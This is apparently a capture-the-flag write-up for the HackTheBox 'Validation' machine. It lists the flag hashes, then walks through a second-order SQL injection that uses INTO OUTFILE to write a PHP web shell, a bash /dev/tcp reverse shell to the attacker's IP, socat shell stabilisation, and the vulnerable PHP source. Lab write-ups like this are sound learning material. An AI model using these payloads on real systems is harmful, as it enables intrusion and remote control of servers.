HackTheBox Validation

> Saikat Karmakar | Sept 18 : 2021

---

1. user.txt

```
7574229669857dfa5a509a9772b5b129
```

2. root.txt

```
afb3d4df9ebeca9539624be752bd9545
```

Notes

New things learned

Poison the data that is coming back from the server

```
POST / HTTP/1.1
Host: 10.10.11.116
Content-Length: 130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
    avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=
    b3;q=0.9
Sec-GPC: 1
Referer: http://10.10.11.116/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: user=ec895eb3fe885df79e40e642c7a95dc3
Connection: close


```

```
username=hacker_1&country=Australia' union select "<?php SYSTEM(
    $_REQUEST['c']) ?>" INTO OUTFILE '/var/www/html/shell.php' -- -
```

```
bash -c 'bash -i >& /dev/tcp/10.10.14.74/9999 0>&1'
```

- Stabilize using socat because python not installed.

```
victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp
    :10.10.14.74:1234

attacker:
socat file: tty ,raw,echo=0 tcp-listen:1234
```

- Even after using PDO(prepare statement) we successfully executed SQLi
- index.php

```
<?php
  require('config.php');
  if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {
    $userhash = md5($_POST['username']);
    $sql = "INSERT INTO registration (username, userhash, country,
        regtime) VALUES (?, ?, ?, ?)";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("sssi", $_POST['username'], $userhash , $_POST['
        country'], time());
    if ($stmt->execute()) {;
        setcookie('user', $userhash);
        header("Location: /account.php");
        exit;
    }
    $sql = "update registration set country = ? where username = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("ss", $_POST['country'], $_POST['username']);
    $stmt->execute();
    setcookie('user', $userhash);
    header("Location: /account.php");
    exit;
  }

?>
```

- `sssi` in bind means the data it's expecting is string, string, string, int

- If we look at the account.php

```php
<?php
    include('config.php');
    $user = $_COOKIE['user'];
    $sql = "SELECT username, country FROM registration WHERE userhash =
        ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("s", $user);
    $stmt->execute();

    $result = $stmt->get_result(); // get the mysqli result
    $row = $result->fetch_assoc(); // fetch data
    echo '<h1 class="text-white">Welcome ' . $row['username'] . '</h1>'
       ;
    echo '<h3 class="text-white">Other Players In ' . $row['country'] .
        '</h3>';
    $sql = "SELECT username FROM registration WHERE country = '" . $row
       ['country'] . "'";
    $result = $conn->query($sql);
    while ($row = $result->fetch_assoc()) {
    echo "<li class='text-white'>" . $row['username'] . "</li>";
    }
?>
```

- Here in the country part there is no sanitisation is going & it's fetching what's inside the database; that's where the SQLi is happening. This is an exaple of 2nd order SQLi